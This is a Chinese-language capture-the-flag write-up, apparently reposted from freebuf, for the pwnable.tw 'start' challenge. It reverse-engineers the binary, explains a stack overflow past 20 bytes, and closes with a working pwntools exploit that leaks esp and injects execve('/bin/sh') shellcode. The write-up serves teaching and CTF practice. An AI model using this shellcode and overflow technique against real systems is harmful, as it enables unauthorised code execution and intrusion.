作者:SnowMzn
pwn
-
pwbable.tw第一题
一、 逆向分析
-
首先将start放入IDA pro,可以看到程序很小,逻辑也非常简单。
-
程序开始,在栈中保存esp的值和exit()函数的起始地址,然后将eax、ebx、ecx、edx置零。
-
随后,向栈中压入一个字符串,“Let’s start the CTF:”,位置则在exit()函数起始地址之上。
-
-
接着程序用int 0x80来进行输入和输出。
-
先将ecx指向字符串缓冲区,调用int 0x80的4号功能,将字符串输出,然后调用3号功能,接收一个字符串。
-
最后执行ret,程序跳转到exit()函数,结束。
-
二、 漏洞分析
-
int 0x80是linux上的系统调用。
-
在int 0x80中,eax存放系统调用号,其余的几个寄存器存放参数。
-
在本程序中,ecx指向缓冲区,edx为缓冲区大小,ebx为fd。
-
程序首先将当前esp的值传给ecx,然后输出此缓冲区内的字符串。
-
之后,程序在执行输入的时候,并没有更改ecx的值,所以我们输入的字符串会直接覆盖栈中的数据。
-
-
如果我们输入的字符串超过20个字节,将会覆盖exit()的起始地址,那么程序在执行到ret的时候,就可以跳到我们构造的任意位置。
三、 漏洞利用
-
漏洞利用,需要shellcode和shellcode所在的位置。
-
这里可以使用执行execve(“/bin/sh”)命令的语句作为shellcode。
-
shellcode可以通过输入放在栈中,那么我们就需要栈的地址。
-
首先需要构造一个payload用来泄漏esp的地址
-
怎么泄漏esp地址呢?在程序执行完ret后,要将程序劫持到0x08048087上,执行mov ecx,esp,然后通过输出,泄漏esp的地址。
-
然后再构造一个payload用来执行shellcode,让程序在第二次执行ret后,跳转到我们的shellcode中。
四、 Exploite
-
最后附上简单的exp一个
from pwn import * p = process('./start') # p = remote('chall.pwnable.tw', 10000) # execve("/bin/sh") shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" addr = 0x08048087 payload1 = 'A'*20 + p32(addr) p.send(payload1) p.recvuntil("Let's start the CTF:") esp = u32(p.recv(4)) offset = 20 payload2 = 'A' * 20 + p32(esp + offset) + shellcode p.send(payload2) p.interactive() p.close()
来源:freebuf.com 2018-01-04 16:31:05 by: ellenZ
请登录后发表评论
注册